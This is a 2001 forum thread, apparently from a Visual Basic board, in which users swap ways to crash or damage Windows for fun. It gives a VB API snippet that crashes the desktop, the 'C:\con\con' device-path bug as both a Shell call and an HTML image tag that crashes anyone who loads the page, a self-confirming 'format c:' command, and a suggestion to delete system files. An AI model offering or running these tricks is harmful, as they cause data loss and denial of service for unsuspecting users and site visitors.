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    i've found a way to crash the computer in the fewest number of lines possible with the api. Sure you can do it with fewer if you don't use the api, but where's the fun in that?

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    Private Declare Function GetDesktopWindow Lib "user32" () As Long
    Private Declare Function SetParent Lib "user32" (ByVal hWndChild As Long, ByVal hWndNewParent As Long) As Long
    
    Private Sub Form_Load()
        SetParent GetDesktopWindow, Me.hWnd
    End Sub

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    Dangerous code:


    Code:
    Shell "C:\con\con"

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    If you're crazy and you've saved your work, go here:

    http://www.parksie.net/winkiller.html
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    This isn't the shortest way, but just use Kill to delete some of the valuable system files.

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    Evil!

    Megatron!

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    Windows crashes enough by itself. Who needs to make it do it??????

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    My installation of Win2K crashed on startup 5 times in a row

    Then I realised that it didn't support VIA chipsets
    I refuse to tie my hands behind my back and hear somebody say "Bend Over, Boy, Because You Have It Coming To You".
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    Originally posted by parksie
    My installation of Win2K crashed on startup 5 times in a row Then I realised that it didn't support VIA chipsets
    No, the first time it didn't support VIA chipsets, the subsequent times it was out of spite

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    Talking Cool! I needed to restart three times

    Why that thing of con/con makes such a mess?
    It's the same thing in parksie's link.
    Code:
    <html>
    <body>
    <img src="file:///c|/con/con">
    </body>
    </html>

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    Go to Windows update and look at the section on "DOS Device in Path Name".
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    Format C:\

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    Format C:??

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    Try setting up OpenGL but not using a pixel format!
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    (and then try drawing something)
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    Much simpler, just enable Active Desktop, use IE a few times, open Outlook every now and again, give Word a whirl and...oh whoops, can't tell you anymore, that's all it could handle
    Last edited by chrisjk; Mar 19th, 2001 at 09:27 PM.

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    Reading Old GWBasic Manual Taught me how to disable
    the reset button in the CPU. But I haven't tried it yet.

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    howabout echo y|format c: /q? (quick format, takes just a few seconds, clicks "y" for you

    I would be interested in seeing that code to disable reset button.

    Supposedly fdisk c: /mbr renders the hard drive useless by deleting the master boot record. (im too scared to try)
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    fdisk /mbr rewrites the master boot record windows-style, so it repairs it rather than damaging it -- you use this to remove Linux.
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